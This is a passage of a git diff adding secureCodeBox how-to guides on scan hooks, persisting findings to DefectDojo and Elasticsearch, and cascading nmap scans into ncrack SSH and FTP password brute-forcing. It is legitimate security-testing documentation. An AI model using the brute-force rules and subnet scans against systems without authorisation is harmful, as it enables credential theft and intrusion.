+old-typo3.demo-targets.svc.org-5min-1633093805 typo3scan Done 53 +old-typo3.demo-targets.svc.org-5min-1633094105 typo3scan Done 53 +``` + +We can also make sure that the time interval is being respected by the ScheduledScan by looking at the age of the pods in use via: + +```bash +kubectl get pods +``` + +You would see something similar to this. The pod name suffix is not going to be the same. + +```bash +NAME READY STATUS RESTARTS AGE +scan-old-typo3.demo-targets.svc.org-5min-1633093504-7h--1-msn8t 0/2 Completed 0 12m +scan-old-typo3.demo-targets.svc.org-5min-1633093805-cm--1-jwgz2 0/2 Completed 0 7m40s +scan-old-typo3.demo-targets.svc.org-5min-1633094105-zb--1-qkxzw 0/2 Completed 0 2m40s +``` + +And we're done! The repeating scan now works. Take a look at [cascading scans](/docs/how-tos/scanning-networks) next if you haven't yet. Cascading scans and repeating scans work well together. Have fun! diff --git a/documentation/docs/how-tos/hooks.md b/documentation/docs/how-tos/hooks.md new file mode 100644 index 0000000000..eb5d7076d7 --- /dev/null +++ b/documentation/docs/how-tos/hooks.md @@ -0,0 +1,274 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Post-processing with Hooks" +description: "Automatically handle findings from your scans" +sidebar_position: 4 +--- + +## Introduction + +In this step-by-step tutorial, we will go through all the required stages to set up Hooks with the secureCodeBox. +Hooks can be used to perform post-processing on findings, for which we'll give a few examples. + +## Setup + +For the sake of the tutorial, we assume that you have your Kubernetes cluster already up and running and that we can work in your default namespace. If not, check out the [installation](/docs/getting-started/installation/) for more information. + +We'll start by installing the nmap scanner: + +```bash +$ helm upgrade --install nmap secureCodeBox/nmap +``` + +Next, we'll install two `update-field` hooks: + +```bash +$ helm upgrade --install ufh1 secureCodeBox/update-field-hook --set attribute.name="category" --set attribute.value="first-hook" +$ helm upgrade --install ufh2 secureCodeBox/update-field-hook --set attribute.name="category" --set attribute.value="second-hook" +``` + +The first hook will update all secureCodeBox findings such that the field `category` is set to the value `first-hook`. +The second hook will set the same field to `second-hook`. +For a list of all available secureCodeBox hooks, see [hooks](/docs/hooks/). +There's no limit to the amount of hooks you can install. + +## Creating a scan + +In practice, you are not required to specify anything to run your hooks. + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nmap-example" +spec: + scanType: "nmap" + parameters: + # We'll just scan for port 80 to speed up the scan. + - "-p" + - "80" + # Scanning an example domain + - "scanme.nmap.org" +``` + +For starting scans in Kubernetes, see [First Scans](/docs/getting-started/first-scans). + +Once the scan has finished, you will see that two hooks have run on your scan results. + +```bash +$ kubectl get pods +NAME READY STATUS RESTARTS AGE +parse-nmap-example-5p964--1-ctgrv 0/1 Completed 0 18s +scan-nmap-example-gg9kd--1-pjltd 0/2 Completed 0 26s +ufh1-update-field-hook-nmap-example-p8pcb--1-vx25q 0/1 Completed 0 10s +ufh2-update-field-hook-nmap-example-drjmq--1-vzds2 0/1 Completed 0 3s +``` + +## Inspecting the findings + +Looking at the findings, you will notice that the `category` field has been set to `second-hook`. +This happens because the `ufh2` hook was executed after `ufh1`, discarding the value `first-hook` completely. + +```json +[ + { + "name": "Open Port: 80 (http)", + "description": "Port 80 is open using tcp protocol.", + // highlight-next-line + "category": "second-hook", + "location": "tcp://45.33.32.156:80", + "osi_layer": "NETWORK", + "severity": "INFORMATIONAL", + "attributes": { + ... + }, + "id": "9fbda429-478d-4ce0-9a8d-1c4aef4d9b58" + } +] +``` + +## Hook order + +By default, hook order is specified according [this definition](/docs/api/crds/scan-completion-hook#priority-optional). + +With the `hook.priority` field, you can further customize the order of secureCodeBox hooks. +The higher the priority of a hook, the earlier it will execute. +By default, all hooks have a priority of `0`. + +If we set `ufh2` hook's priority to `1`, we'll observe that it will execute before `ufh1`. + +```bash +$ helm upgrade --install ufh2 secureCodeBox/update-field-hook --set hook.priority="1" --set attribute.name="category" --set attribute.value="second-hook" +``` + +```bash +$ kubectl get scancompletionhooks.execution.securecodebox.io +NAME TYPE PRIORITY IMAGE +ufh1-update-field-hook ReadAndWrite 0 docker.io/securecodebox/hook-update-field:3.3.1 +ufh2-update-field-hook ReadAndWrite 1 docker.io/securecodebox/hook-update-field:3.3.1 +``` + +Start, the scan and observe orders: + +```bash +$ kubectl get pods kube minikube +NAME READY STATUS RESTARTS AGE +parse-nmap-example-lrtcl--1-57n9t 0/1 Completed 0 36s +scan-nmap-example-7s2t8--1-gbr6b 0/2 Completed 0 39s +ufh1-update-field-hook-nmap-example-cvzw2--1-x4rcz 0/1 Completed 0 30s +ufh2-update-field-hook-nmap-example-mv57q--1-cvd4k 0/1 Completed 0 33s +``` + +Kubernetes sorts the list alphabetically, but notice the age of the jobs. +Looking at the resulting finding, we can see the category is set to `first-hook`. + +```json +[ + { + "name": "Open Port: 80 (http)", + "description": "Port 80 is open using tcp protocol.", + // highlight-next-line + "category": "first-hook", + "location": "tcp://45.33.32.156:80", + "osi_layer": "NETWORK", + "severity": "INFORMATIONAL", + "attributes": { + ... + }, + "id": "c15d1730-7ca8-4529-b55a-a3412832f309" + } +] +``` + +## Hook selector + +An alternative for more runtime hook control is the scan's [HookSelector](/docs/api/crds/scan#hookselector-optional). +This field allows you to define which hooks to run for a scan. + +In this case, we select all hooks, except hooks with the label `ufh1`. + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nmap-example" +spec: + // highlight-start + hookSelector: + matchExpressions: + - key: app.kubernetes.io/instance + operator: NotIn + values: [ "ufh1" ] + // highlight-end + scanType: "nmap" + parameters: + # We'll just scan for port 80 to speed up the scan. + - "-p" + - "80" + # Scanning an example domain + - "scanme.nmap.org" +``` + +You can find that only `ufh2` was executed. + +```bash +$ kubectl get pods kube minikube +NAME READY STATUS RESTARTS AGE +parse-nmap-example-shkrr--1-2hdt9 0/1 Completed 0 10s +scan-nmap-example-7bllp--1-zx287 0/2 Completed 0 13s +ufh2-update-field-hook-nmap-example-lmljv--1-smgp5 0/1 Completed 0 7s +``` + +The following labels are available by default: + +- `app.kubernetes.io/instance`: the Helm release name (e.g. `ufh1`, `ufh2`) +- `app.kubernetes.io/name`: the Helm chart name (e.g. `update-field-hook`) +- `securecodebox.io/internal`: boolean field for whether this hook has internal usages in secureCodeBox (e.g. Cascading Scans hook) + +You can also deploy secureCodeBox hooks with your own labels like so: + +```bash +$ helm upgrade --install ufh2 secureCodeBox/update-field-hook --set hook.labels.securecodebox="rocks" --set attribute.name="category" --set attribute.value="second-hook" +``` + +This will add your custom label to the secureCodeBox hook so that you can select is with `hookSelector`. + +```yaml +apiVersion: execution.securecodebox.io/v1 +kind: ScanCompletionHook +metadata: + labels: + app.kubernetes.io/instance: ufh2 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/name: update-field-hook + helm.sh/chart: update-field-hook-3.3.1 + // highlight-next-line + securecodebox: rocks + name: ufh2-update-field-hook + namespace: default +spec: + env: + - name: ATTRIBUTE_NAME + value: category + - name: ATTRIBUTE_VALUE + value: second-hook + image: docker.io/securecodebox/hook-update-field:3.3.1 + ttlSecondsAfterFinished: null + type: ReadAndWrite +``` + +### Cascading scans + +The `HookSelector` field is also available in Cascading Rules. +This means that you can selectively disable hooks for certain rules. +Let's say that you're running secureCodeBox with nmap, ncrack, and a [DefectDojo persistence provider](/docs/hooks/defectdojo). +We can imagine that you'd prefer your ncrack passwords to not go directly to DefectDojo, so you could set up the cascading rule such that it filters the DefectDojo hook. + +```yaml +apiVersion: "cascading.securecodebox.io/v1" +kind: CascadingRule +metadata: + name: "ncrack-ftp" + labels: + securecodebox.io/invasive: invasive + securecodebox.io/intensive: high + securecodebox.io/type: bruteforce +spec: + matches: + anyOf: + - category: "Open Port" + attributes: + service: "ftp" + state: open + scanSpec: + // highlight-start + hookSelector: + matchExpressions: + - key: app.kubernetes.io/name + operator: NotIn + values: [ "persistence-defectdojo" ] + // highlight-end + scanType: "ncrack" + parameters: + - -v + - -d10 + - -U + - /ncrack/users.txt + - -P + - /ncrack/passwords.txt + - -p + - ftp:{{attributes.port}} + - "{{$.hostOrIP}}" +``` + +Note that we use `app.kubernetes.io/name` here to filter all releases of the DefectDojo persistence provider. + +:::caution +You can use [`scan.spec.cascading.inheritHookSelector`](/docs/api/crds/scan#cascades-optional) on your initial scan definition to pass `hookSelector` entries on to cascaded scans. +Selectors defined in cascading rules will only apply to the scan triggered by the rule - if the results of that scan then trigger further cascading scans, the selectors defined in the cascading rule will be dropped and only those from the original scan are kept. +Defining identical entries in both the Scan AND the Cascading Rule resource will lead to undefined behaviour. +See [#789](https://github.com/secureCodeBox/secureCodeBox/issues/789) for more details. +::: diff --git a/documentation/docs/how-tos/persistence-storage.md b/documentation/docs/how-tos/persistence-storage.md new file mode 100644 index 0000000000..24a7786682 --- /dev/null +++ b/documentation/docs/how-tos/persistence-storage.md @@ -0,0 +1,392 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Storing Findings with Persistence Hooks" +description: "Ingesting identified findings to DefectDojo or Elasticsearch" +sidebar_position: 5 +--- + +## Introduction + +Let's say you have to manage a cluster of potential security risks, like for example a large number of websites or +your company's internal network. Your needs will exceed the limitations of manual findings handling or our build-in +*minio* instance quite soon. The solution comes with a so-called *persistence provider*, which not only allows you +to store your findings over a long period of time (as the name suggests), but also to classify, prioritize and analyze +them. This tutorial discusses two persistence providers, [DefectDojo](#defectdojo) and [ElasticSearch](#elasticsearch), +which can both be combined with the *secureCodeBox*. + +*Side-note: The tutorials are scanning scanme.nmap.org, which is a public service provided by nmap. It is meant +to be used for port-scanning examples, but should not be abused with too much scanning per day. If you know that +your local machine is providing meaningful findings as well, consider using *localhost* as target for all scans. +We chose to use scanme.nmap.org in the tutorial however, because of reproducibility for most users.* + +### Pre-Requirements +*All setups have been tested with Ubuntu 22.04 and Kubernetes 1.24* + +Make sure you have the following tools available on your system before starting: +* [minikube](https://kubernetes.io/de/docs/tasks/tools/install-minikube/) or [kind](https://kind.sigs.k8s.io/docs/user/quick-start/#installation) +* [kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/) +* [helm](https://helm.sh/docs/intro/install/) + +## DefectDojo + +[DefectDojo](https://github.com/DefectDojo/django-DefectDojo) is a widespread platform for vulnerability management +and security orchestration. The *secureCodeBox* provides a hook that allows to directly connect the *SCB* to a local +or remote DefectDojo instance. In this tutorial, we will at first guide you through a step-by-step setup manual. +After that, you will learn about some features of DefectDojo and how you can use them in conjunction with the +*secureCodeBox*. + +We will now at first set up an instance of DefectDojo in a local minikube cluster. After we have that running, +we install the *secureCodeBox* and the [DefectDojo hook](https://www.securecodebox.io/docs/hooks/defectdojo/). + +### DefectDojo Kubernetes setup + +(General, more detailed instructions can be found [here](https://github.com/DefectDojo/django-DefectDojo/blob/dev/readme-docs/KUBERNETES.md)) + +:::info +At the moment **DefectDojo does not provide a Docker image for arm64**. As a workaround you can run a local instance +of DefectDojo (see [Troubleshooting](#troubleshooting)). +::: + +Using *minikube* (for kind clusters see instructions below): +```bash +# Download DefectDojo repo +git clone https://github.com/DefectDojo/django-DefectDojo +cd django-DefectDojo + +# Start the cluster +minikube start +minikube addons enable ingress + +# Get helm charts (bitnami necessary for Helm >= v3) +helm repo add bitnami https://charts.bitnami.com/bitnami +helm repo update +helm dependency update ./helm/defectdojo + +# Install DefectDojo helm chart +helm upgrade --install \ + defectdojo \ + ./helm/defectdojo \ + --set django.ingress.enabled=true \ + --set django.ingress.activateTLS=false \ + --set createSecret=true \ + --set createRabbitMqSecret=true \ + --set createRedisSecret=true \ + --set createMysqlSecret=true \ + --set createPostgresqlSecret=true \ + --set host="defectdojo.default.minikube.local" \ + --set "alternativeHosts={localhost,defectdojo.default.minikube.local:8080,defectdojo-django.default.svc}" +``` + +<details> +<summary>Using kind:</summary> +<code> +git clone https://github.com/DefectDojo/django-DefectDojo +cd django-DefectDojo + +kind create cluster + +helm repo add bitnami https://charts.bitnami.com/bitnami +helm repo update +helm dependency update ./helm/defectdojo + +helm upgrade --install \ + defectdojo \ + ./helm/defectdojo \ + --set django.ingress.enabled=true \ + --set django.ingress.activateTLS=false \ + --set createSecret=true \ + --set createRabbitMqSecret=true \ + --set createRedisSecret=true \ + --set createMysqlSecret=true \ + --set createPostgresqlSecret=true \ + --set host="defectdojo.default.kind.local" \ + --set "alternativeHosts={localhost,defectdojo.default.kind.local:8080,defectdojo-django.default.svc}" +</code> +</details> + +After a while, you should see that all pods are running: +```bash +kubectl get pods +``` + +To access DefectDojo locally, you probably need to add the following lines to `/etc/hosts`: +```text +# Minikube +::1 defectdojo.default.minikube.local +127.0.0.1 defectdojo.default.minikube.local +# Kind +::1 defectdojo.default.kind.local +127.0.0.1 defectdojo.default.kind.local +``` + +Now, retrieve the admin password: +```bash +echo "DefectDojo admin password: $(kubectl \ + get secret defectdojo \ + --namespace=default \ + --output jsonpath='{.data.DD_ADMIN_PASSWORD}' \ + | base64 --decode)" +``` + +After that, we can port-forward the DefectDojo service and thereby verify that the installation was successful: +```bash +kubectl port-forward --namespace=default service/defectdojo-django 8080:80 +``` + +We are finally ready to access our DefectDojo instance! In your browser, switch to +[defectdojo.default.minikube.local:8080](http://defectdojo.default.minikube.local:8080) or +[defectdojo.default.kind.local:8080](http://defectdojo.default.kind.local:8080). +You should see the DefectDojo login mask. +Enter `admin` as username and type the password that you received in the step before. +Once logged in, you need to get your *API v2 Key*. Click on the person symbol in the upper-right corner and choose +*API v2 Key*. There should be a line like `Your current API key is abcdef123456789...`. Save it for later. + +### secureCodeBox setup +(General setup instructions can be found [here](https://www.securecodebox.io/docs/getting-started/installation)) + +At first, we install the operator and a scanner: +```bash +# Install the operator +helm repo add secureCodeBox https://charts.securecodebox.io +kubectl create namespace securecodebox-system +helm --namespace securecodebox-system upgrade --install securecodebox-operator secureCodeBox/operator + +# Create a namespace for scanning - makes it easier to read logs if something went wrong +kubectl create namespace scanning +# Install nmap scanner for the later tutorial steps +helm upgrade --namespace scanning --install nmap secureCodeBox/nmap +``` + +To install the DefectDojo hook, we need to create a secret with the API v2 Key we retrieved before: +```bash +kubectl create secret generic defectdojo-credentials -n scanning \ + --from-literal="username=admin" --from-literal="apikey=<APIv2KEY>" +``` + +Finally, we can install the DefectDojo hook via helm: +```bash +helm upgrade --namespace scanning --install dd secureCodeBox/persistence-defectdojo +``` + +To verify that everything works, we now start an nmap scan and check that its results are uploaded to our DefectDojo +instance. Create the following file: +```yaml +# scan.yaml +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nmap-scanme.nmap.org" +spec: + scanType: "nmap" + parameters: + - scanme.nmap.org +``` + +We then apply it via: +```bash +kubectl apply -n scanning -f scan.yaml +``` + +If everything was set up correctly, you should see an *nmap-scanme.nmap.org* engagement in the DefectDojo engagements +dashboard after a while. Should you have experienced any problems, you might find advice in the +[troubleshooting](#troubleshooting) section at the end. + +### Managing findings via the secureCodeBox and DefectDojo +To give you an idea of how a workflow with the *secureCodeBox* and DefectDojo can look like, we will take a glance at +DefectDojo's findings de-duplication ability. When scanning the same target multiple times, e.g. with a +[scheduled scan](https://www.securecodebox.io/docs/how-tos/automatically-repeating-scans), we do not want to get +notified about findings that are duplicates of already existing ones. DefectDojo handles this for us, +let us try it out: + +1. At first, make sure to activate +[De-Duplication in DefectDojo](https://defectdojo.github.io/django-DefectDojo/usage/features/#global-configuration): +In your DefectDojo instance, click on the settings symbol in the menu bar at the left. Select *Systems Settings*. +Next, tick the checkbox next to *Deduplicate findings*. +![defectdojo-deduplication](/img/docs/how-tos/dd-deduplicate.png) + +2. Let us now verify that if we run an identical scan again, the amount of active findings does not change. + +Delete the scan from before in kubernetes. Note that this does not affect DefectDojo. +```bash +kubectl delete scan nmap-scanme.nmap.org -n scanning +``` +Re-apply it via kubectl: +```bash +kubectl apply -f scan.yaml -n scanning +``` + +After scan and DefectDojo hook have finished, check again your local DefectDojo instance. There should not be +any new *Active Findings*. You can still find the duplicates under *Findings -> View All Findings*. + +### Advanced use-case: Hook annotations + +It is possible to overwrite the +[default values](https://www.securecodebox.io/docs/hooks/defectdojo#additional-chart-configurations) +that the DefectDojo hook uses to create products and engagements. +This is especially handy when using the *secureCodeBox* +[Autodiscovery](https://www.securecodebox.io/docs/how-tos/autodiscovery) or +[CascadingScans](https://www.securecodebox.io/docs/api/crds/cascading-rule) to annotate your scans with useful +names and to keep track of their origin. For the Autodiscovery, there are already pre-defined values that can be found +[here](https://github.com/secureCodeBox/secureCodeBox/blob/main/auto-discovery/kubernetes/values.yaml#L40). + +To get you started with a simple example, we will now create an annotation in a manually executed scan. +Create the following file: +```yaml +# scanAnnotation.yaml +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nmap-scanme.nmap.org-annotation" + annotations: + defectdojo.securecodebox.io/product-name: "Annotation Example" +spec: + scanType: "nmap" + parameters: + - scanme.nmap.org +``` + +Execute it via kubectl: +```bash +kubectl apply -n scanning -f scanAnnotation.yaml +``` + +After a while you should see a new engagement in your DefectDojo instance with product name `Annotation Example`. + +## ElasticSearch + +[ElasticSearch](https://www.elastic.co/de/elasticsearch/) enables users to store and search pretty much any possible +kind of data. [Kibana](https://www.elastic.co/de/kibana/) provides a graphical user interface to easily access the data +stored in ElasticSearch. Using them in combination with the *secureCodeBox* is simpler than using DefectDojo, as +the [persistence-elastic hook](https://www.securecodebox.io/docs/hooks/elasticsearch) comes with +a ready-to-use ElasticSearch and Kibana instance. + +### Setup + +At first, we create a cluster and the *secureCodeBox* namespace and operator: +```bash +minikube start + +kubectl create namespace securecodebox-system +helm --namespace securecodebox-system upgrade --install securecodebox-operator secureCodeBox/operator +``` + +Next, we simply install an exemplary scanner and the *persistence-elastic* hook. Note that Kibana is enabled by default. +```bash +# Scanner and ElasticSearch should be in the same namespace +kubectl create namespace elastic +helm --namespace elastic upgrade --install nmap secureCodeBox/nmap +helm --namespace elastic upgrade --install persistence-elastic secureCodeBox/persistence-elastic +``` + +That's it! Let us run an example scan (same as above for DefectDojo): +```yaml +# scan.yaml +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nmap-scanme.nmap.org" +spec: + scanType: "nmap" + parameters: + - scanme.nmap.org +``` + +Apply it via kubectl: +```bash +kubectl apply -n elastic -f scan.yaml +``` + +After the scan has finished, you can view the findings in Kibana. Create a port-forward: +```bash +kubectl port-forward -n elastic services/persistence-elastic-kibana 5601:5601 +``` + +You can now go to [localhost:5601](http://localhost:5601) and access your data in the Kibana instance! + +### Managing findings via the secureCodeBox and Kibana + +Note that unlike DefectDojo, ElasticSearch does not automatically handle duplicated findings. However, you can find +pre-defined dashboards for some scanners implemented in the *secureCodeBox*, which makes visualizing their results +straight-forward. You can find a list of all available dashboards under +[/app/dashboards#/list](http://localhost:5601/app/dashboards#/list) in your local Kibana instance. + +### Using DefectDojo and ElasticSearch simultaneously + +It is possible to use DefectDojo and ElasticSearch at the same time. +[Note that DefectDojo overwrites the findings of the SCB with its own format by default](https://github.com/secureCodeBox/secureCodeBox/blob/83088ca4a51b76ab15c88510f1f52877ab08fd9c/hooks/persistence-defectdojo/values.yaml#L43). +So when using multiple persistence providers, hook execution order does matter. The problem can be solved in two +ways: Either use the [hook order functionality](https://www.securecodebox.io/docs/how-tos/hooks/#hook-order) or +set DefectDojo to [read-only mode](https://www.securecodebox.io/docs/hooks/defectdojo/#read-only-mode). + + +## Troubleshooting + +<details> +<summary>Troubleshooting</summary> +Connecting the SCB to a persistence provider, especially DefectDojo, can sometimes be a bit tricky. +The following tips might help in case that something went wrong: +<br /><br /> +<ul> +<li> <b>Waiting:</b> It takes some time for the DefectDojo or Kibana instance to come up. You might also have to refresh +several times in order to connect to localhost after the port-forward. +</li> +<li> <b>Verbose logging:</b> You can view verbose output for everything in your cluster, +for example via <a href="https://github.com/wercker/stern">stern</a>. +For the following steps, +you have to have <a href="https://krew.sigs.k8s.io/docs/user-guide/setup/install/#bash">krew</a> installed: +<br /> +<code> +kubectl krew install stern <br /> +# View all logs in default namespace: <br /> +kubectl stern .* <br /> +# View for a specific namespace <br /> +kubectl stern .* --namespace scanning +</code> +</li> +<li> <b>Re-Installation of DefectDojo:</b> Node that if anything went wrong, and you have to re-install +DefectDojo in the cluster, the <i>createSecret</i> flags in the values.yaml file of DefectDojo must not be set. +You can find more +details <a href="https://github.com/DefectDojo/django-DefectDojo/blob/dev/readme-docs/KUBERNETES.md#re-install-the-chart">here</a>. +</li> +<li> <b>Server error in DefectDojo</b>: Make sure that all pods are running. If you are continuing to experience errors +after a re-installation, consider to use a different cluster manager (e.g. kind instead of minikube). +</li> +<li> <b>Using a local instance of DefectDojo rather than Kubernetes</b>: If nothing helps, you still have the option +to run DefectDojo outside +your cluster (instructions <a href="https://github.com/DefectDojo/django-DefectDojo#quick-start">here</a>). After that, +you can connect the DefectDojo hook treating it like a <i>remote</i> instance of DefectDojo. The helm install command +for the hook would look like this: <br /> +<code> +# $YOURLOCALIP should look something like http://192.168.2.242:8080 <br /> +helm upgrade --install persistence-defectdojo secureCodeBox/persistence-defectdojo \ <br /> + --set="defectdojo.url=$YOURLOCALIP" +</code> +</li> +<li> <b>Increasing cluster resources</b>: Running a lot of pods at the same time can be resource-intensive. If you +find that your persistence providers are not reacting in appropriate time, you might want to increase the number of +cpus and memory usage for your minikube cluster: <br /> +<code> +# If you already created a cluster, you most likely have to delete it at first <br /> +minikube stop <br /> +minikube delete <br /> +# Create a new cluster with more resources <br /> +minikube start --memory 8192 --cpus 4 +</code> +</li> +</ul> +</details> diff --git a/documentation/docs/how-tos/scanning-networks.md b/documentation/docs/how-tos/scanning-networks.md new file mode 100644 index 0000000000..723e3f87d6 --- /dev/null +++ b/documentation/docs/how-tos/scanning-networks.md @@ -0,0 +1,216 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Scanning Networks" +description: "How to use CascadingScans to create in depth network scans" +sidebar_position: 2 +--- + +## Introduction + +In this step-by-step tutorial, we will go through all the required stages to set up network scanning with the secureCodeBox. We will first use **Nmap** to scan all devices for open ports and then see how to use _Cascading Rules_ to follow up on our port findings with a vulnerability scanner. In this tutorial, we will mainly focus on a follow-up ssh port cracking using **Ncrack**, but you will quickly notice that it's quite easy to configure the scanner for different ports to fit your needs. + +## Setup + +For the sake of the tutorial, we assume that you have your Kubernetes cluster already up and running and that we can work in your default namespace. + +If not done yet, **install the nmap scanner:** + +```bash +helm upgrade --install nmap secureCodeBox/nmap +``` + +Now we also need the **cascading-scans hook** (if not installed yet): + +```bash +helm upgrade --install cascading-scans secureCodeBox/cascading-scans +``` + +Finally, setting up **Ncrack** is a little trickier though. Ncrack uses files with lists of usernames and passwords to brute-force an authentication. In its default configuration, the scanner will check for all combinations of usernames and passwords provided by our lists. You can use your own existing files or just create two **dummy files** for the purpose of the tutorial: + +```bash +printf "root\nadmin\n" > users.txt +printf "THEPASSWORDYOUCREATED\n123456\npassword\n" > passwords.txt +``` + +**Make sure to use an extra free line at the end of your files, as there could be issues with cut-off final letters!** + +Now we can create a **kubernetes secret**: + +```bash +kubectl create secret generic --from-file users.txt --from-file passwords.txt ncrack-lists +``` + +Lastly, we now **install Ncrack** and configure the scanType to mount our secret, so that we get access to the username and password files via the mount path `/ncrack/`. + +And starting from secureCodeBox v4.0, it is also necessary to set `cascadingRules.enabled` to `true`. + +```bash +cat <<EOF | helm upgrade --install ncrack secureCodeBox/ncrack --values - +scannerJob: + extraVolumes: + - name: ncrack-lists + secret: + secretName: ncrack-lists + extraVolumeMounts: + - name: ncrack-lists + mountPath: "/ncrack/" +cascadingRules: + enabled: true +EOF +``` + +## Creating the Scan Cascade + +After everything is set up properly, it's now time to configure our scans. The **Nmap** Scan configuration is pretty straightforward. We create a **scan.yaml** where we define what Nmap should do: + +```yaml title="scan.yaml" +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nmap-ssh-howto" +spec: + scanType: "nmap" + parameters: + # Service Detection enabled + - "-sV" + # We'll just scan for port 22 to speed up the scan. + - "-p" + - "22" + # Watch out to configure you network correctly and if you are allowed to perform scans against the hosts in it! + - "192.168.178.0/24" +``` + +We can test run it via: + +```bash +kubectl apply -f scan.yaml +``` + +The scan should be properly created and you should see it running via: + +```bash +kubectl get scans +``` + +_Hint:_ If you want to restart the scan, you must delete it first: + +```bash +# Delete all scans: +kubectl delete scans --all +# Delete our specific scan: +kubectl delete scans nmap-ssh-tutorial +``` + +Now we also want to start the **Ncrack scan** after Nmap has finished. We use [cascading rules](/docs/hooks/cascading-scans/) for that. Cascading rules allow us to automatically call any scanner that matches our given labels (see below) in order to start further security checks. In this case, we want to follow up on with an ncrack scan to test the credentials configured for the server. Fortunately, the secureCodeBox already comes with a [predefined ncrack cascading rule] for ssh scanning in **crack-ssh.yaml**. + +We must register our cascading rule with: + +```bash +kubectl apply -f crack-ssh.yaml +``` + +To understand what's happening, we will take an in-depth look at the cascading rule: + +```yaml +apiVersion: "cascading.securecodebox.io/v1" +kind: CascadingRule +metadata: + name: "ncrack-ssh" + labels: + securecodebox.io/invasive: invasive + securecodebox.io/intensive: high +spec: + matches: + anyOf: + - category: "Open Port" + attributes: + port: 22 + state: open + - category: "Open Port" + attributes: + service: "ssh" + state: open + scanSpec: + scanType: "ncrack" + parameters: + - -v + - -d10 + - -U + - /ncrack/users.txt + - -P + - /ncrack/passwords.txt + - -p + - ssh:{{attributes.port}} + - "{{$.hostOrIP}}" +``` + +Let's take a look at the attributes: + +- _name:_ Obviously, our cascading rule is called "ncrack-ssh" to identify it correctly. +- _spec - matches - anyOf:_ Here we specify that we want to subsequently scan every open port 22, or every port where a ssh service is running. You can use any attribute that is specified in the Nmap findings, see for example: [Nmap Example Findings] +- _scanSpec - scanType:_ This is where the actual ncrack scan gets configured. We use the optional `-d10` for a better console output, with `-U` we specify the usernames list, `-P` is for password list. Now it gets more interesting: The `-p` option is used in ncrack to specify a port for a service different from its standard port. We pick the needed port from the findings via `{{attributes.port}}`. After that, we just have to directly set the target IP with `"{{$.hostOrIP}}"` and we are done. The pattern `"{{$.hostOrIP}}"` is a special feature we implemented as an alternative to `{{attributes.ip_address}}` because it's often useful to preserve the hostname for cascadingScans. This pattern allows you to use the hostname if it's defined and otherwise use the attribute `{{attributes.ip_address}}`. +- _invasive & intensive:_ Finally you may have noticed that we skipped these two attributes. A scan can either be _invasive_ or _non-invasive_ and its intensity can vary from _light_ to _medium_ to _high_. + +These last two labels work as scan-triggers in the cascading rules, so our last step is to modify the Nmap scan defined above and **add the cascading scan rules**: + +```yaml title="scan.yaml" +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nmap-ssh-howto" +spec: + scanType: "nmap" + parameters: + # Service Detection enabled + - "-sV" + # We'll just scan for port 22 to speed up the scan. + - "-p" + - "22" + # Watch out to configure you network correctly and if you are allowed to perform scans against the hosts in it! + - "192.168.178.0/24" + cascades: + matchLabels: + securecodebox.io/intensive: high + securecodebox.io/invasive: invasive +``` + +Of course, you can just use one of the two labels and change them as you need them. + +Now let's **run** our scan! Make sure to be in the correct directory where your `scan.yaml` is located: + +```bash +# make sure you have deleted the scan beforehand +kubectl apply -f scan.yaml +``` + +After a short time, we can check whether our subsequent scan has been triggered correctly: + +```bash +kubectl get scans +``` + +Now we should see something like: + +```bash +kubectl get scans +NAME TYPE STATE FINDINGS +ncrack-ssh-howto-ncrack-ssh-48qnz ncrack Done 1 +nmap-ssh-howto nmap Done 8 +``` + +Nice, our scan was triggered as expected! +Your network likely looks different. Depending on how many ssh hosts nmap was able to find you will see more ncrack scans started. + +Final hint: As already shown above, you can **create a cascading rule yourself** like any resource in Kubernetes via: + +```bash +kubectl apply -f cascadingRule.yaml +``` + +Have fun scanning and checking your networks! + +[nmap example findings]: https://github.com/secureCodeBox/secureCodeBox/blob/master/scanners/nmap/examples/demo-target-ssh/findings.yaml +[predefined ncrack cascading rule]: https://github.com/secureCodeBox/secureCodeBox/blob/main/scanners/ncrack/cascading-rules/crack-ssh.yaml diff --git a/documentation/docs/how-tos/scanning-web-applications.md b/documentation/docs/how-tos/scanning-web-applications.md new file mode 100644 index 0000000000..c46dd78b3e --- /dev/null +++ b/documentation/docs/how-tos/scanning-web-applications.md @@ -0,0 +1,418 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Scanning Web Applications" +description: "Automating OWASP ZAP with the secureCodeBox" +sidebar_position: 3 +--- + +## Introduction + +In this step-by-step tutorial, we will go through all the required stages to set up an in depth configured ZAP Scan against OWASP Juice Shop with the secureCodeBox. + +## Setup + +For the sake of the tutorial, we assume that you have your Kubernetes cluster already up and running and that we can work in your default namespace. If not, check out the [installation](/docs/getting-started/installation/) for more information. + +We will start by installing the ZAP-Advanced scanner: + +```bash +helm upgrade --install zap-advanced secureCodeBox/zap-advanced +``` + +And the juice-shop demo-target. + +```bash +helm upgrade --install juice-shop secureCodeBox/juice-shop +``` + +## Creating the ZAP-Advanced scan + +We can first start with a basic `zap-advanced` scan. We use here our CRD (Custom Resource definition) [Scan](/docs/api/crds/scan) and a [ConfigMap](https://kubernetes.io/docs/concepts/configuration/configmap/) to configure our scan. + +```yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: zap-advanced-scan-config +data: + 2-zap-advanced-scan.yaml: |- + + # ZAP Contexts Configuration + 